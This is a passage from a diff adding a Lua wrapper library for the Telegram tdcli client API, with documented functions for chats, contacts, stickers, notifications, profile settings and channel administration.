cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function 